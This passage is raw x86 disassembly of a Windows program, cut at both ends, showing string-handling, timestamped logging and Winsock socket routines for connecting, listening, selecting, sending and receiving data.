ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E5C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short loc_419AB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE5C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27A0000h mov edi, dword_50FAFC mov esi, offset dword_50AE5C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E5C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E5C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5EA1BD add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EA1BD add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2D5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E45 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1DBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EA1BD mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EA1BD add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6765 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2D5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D666Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EA1BD mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EA1BD add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB28 test eax, eax jnz short loc_41A048 mov eax, dword_50BB28 inc eax mov dword_50BB28, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call near ptr 71AB664Dh nop jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB28 inc edx mov dword_50BB28, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F60 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB28 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB28 dec eax mov dword_50BB28, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB28 dec ecx mov dword_50BB28, ecx jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- retn 9090h ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax call near ptr 77C47A90h nop mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DC0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax call near ptr 71AB9639h nop loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F60 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j call near ptr 71AB94DCh nop pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- 